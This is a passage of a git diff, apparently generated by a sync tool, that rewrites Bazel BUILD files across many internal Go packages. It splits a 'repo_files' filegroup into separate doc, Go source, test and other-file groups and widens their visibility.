go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -56,7 +95,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/gitignore/BUILD.bazel b/internal/gitignore/BUILD.bazel index 3ec14028e..1f3a63467 100644 --- a/internal/gitignore/BUILD.bazel +++ b/internal/gitignore/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/gitlab/BUILD.bazel b/internal/gitlab/BUILD.bazel index 1ae60e524..dfdb4d11b 100644 --- a/internal/gitlab/BUILD.bazel +++ b/internal/gitlab/BUILD.bazel @@ -41,12 +41,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -55,7 +94,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/gittraceenv/BUILD.bazel b/internal/gittraceenv/BUILD.bazel index d3ab9ec8e..f5f7b10a2 100644 --- a/internal/gittraceenv/BUILD.bazel +++ b/internal/gittraceenv/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/hooks/BUILD.bazel b/internal/hooks/BUILD.bazel index 3c6e1590b..f389164a2 100644 --- a/internal/hooks/BUILD.bazel +++ b/internal/hooks/BUILD.bazel @@ -217,12 +217,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -231,7 +270,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index ff7bb7787..fb7b25625 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -134,12 +134,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -148,7 +187,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpapi/apigen/BUILD.bazel b/internal/httpapi/apigen/BUILD.bazel index 9aa4a0b29..fe6159f34 100644 --- a/internal/httpapi/apigen/BUILD.bazel +++ b/internal/httpapi/apigen/BUILD.bazel @@ -25,12 +25,51 @@ exports_files( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -39,7 +78,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpapi/spec/BUILD.bazel b/internal/httpapi/spec/BUILD.bazel index 81d0f6532..51f81d945 100644 --- a/internal/httpapi/spec/BUILD.bazel +++ b/internal/httpapi/spec/BUILD.bazel @@ -26,12 +26,51 @@ exports_files( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -40,7 +79,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpapi/wireshape/BUILD.bazel b/internal/httpapi/wireshape/BUILD.bazel index c107b8a0c..6992e365b 100644 --- a/internal/httpapi/wireshape/BUILD.bazel +++ b/internal/httpapi/wireshape/BUILD.bazel @@ -38,12 +38,51 @@ exports_files( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -52,7 +91,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel b/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel index 3b3dc5d04..ac908f90e 100644 --- a/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel +++ b/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel @@ -27,12 +27,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index f6cb1cbee..beffe7048 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -253,12 +253,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -267,7 +306,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpclient/encode/BUILD.bazel b/internal/httpclient/encode/BUILD.bazel index 1b0e8cee7..f09bdd196 100644 --- a/internal/httpclient/encode/BUILD.bazel +++ b/internal/httpclient/encode/BUILD.bazel @@ -51,12 +51,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -65,7 +104,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/httpclient/wire/BUILD.bazel b/internal/httpclient/wire/BUILD.bazel index e154bc59f..012a18995 100644 --- a/internal/httpclient/wire/BUILD.bazel +++ b/internal/httpclient/wire/BUILD.bazel @@ -63,12 +63,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -77,7 +116,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/idgen/BUILD.bazel b/internal/idgen/BUILD.bazel index d85848c47..1f6527be1 100644 --- a/internal/idgen/BUILD.bazel +++ b/internal/idgen/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/jira/BUILD.bazel b/internal/jira/BUILD.bazel index f42e6ec5e..ee2f37feb 100644 --- a/internal/jira/BUILD.bazel +++ b/internal/jira/BUILD.bazel @@ -41,12 +41,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -55,7 +94,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/linear/BUILD.bazel b/internal/linear/BUILD.bazel index e660b46a2..f384b1cba 100644 --- a/internal/linear/BUILD.bazel +++ b/internal/linear/BUILD.bazel @@ -67,12 +67,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -81,7 +120,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/lockfile/BUILD.bazel b/internal/lockfile/BUILD.bazel index 347cd13d9..213cb7fb1 100644 --- a/internal/lockfile/BUILD.bazel +++ b/internal/lockfile/BUILD.bazel @@ -63,12 +63,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -77,7 +116,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/memoryapi/BUILD.bazel b/internal/memoryapi/BUILD.bazel index d676833ae..3636ccb1b 100644 --- a/internal/memoryapi/BUILD.bazel +++ b/internal/memoryapi/BUILD.bazel @@ -18,12 +18,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -32,7 +71,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/metrics/BUILD.bazel b/internal/metrics/BUILD.bazel index eb9b7d7fa..275e4ce8f 100644 --- a/internal/metrics/BUILD.bazel +++ b/internal/metrics/BUILD.bazel @@ -42,12 +42,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -56,7 +95,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/migration/BUILD.bazel b/internal/migration/BUILD.bazel index d3bae9093..be6405b19 100644 --- a/internal/migration/BUILD.bazel +++ b/internal/migration/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/migration/legacysqlite/BUILD.bazel b/internal/migration/legacysqlite/BUILD.bazel index 847117321..e7c57ad30 100644 --- a/internal/migration/legacysqlite/BUILD.bazel +++ b/internal/migration/legacysqlite/BUILD.bazel @@ -29,12 +29,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/molecules/BUILD.bazel b/internal/molecules/BUILD.bazel index 57fe6e3eb..5c63272a3 100644 --- a/internal/molecules/BUILD.bazel +++ b/internal/molecules/BUILD.bazel @@ -30,12 +30,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/notion/BUILD.bazel b/internal/notion/BUILD.bazel index 871fe68e8..d677dd138 100644 --- a/internal/notion/BUILD.bazel +++ b/internal/notion/BUILD.bazel @@ -40,12 +40,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -54,7 +93,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/procid/BUILD.bazel b/internal/procid/BUILD.bazel index 14cc92d61..908f7dc0f 100644 --- a/internal/procid/BUILD.bazel +++ b/internal/procid/BUILD.bazel @@ -53,12 +53,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + 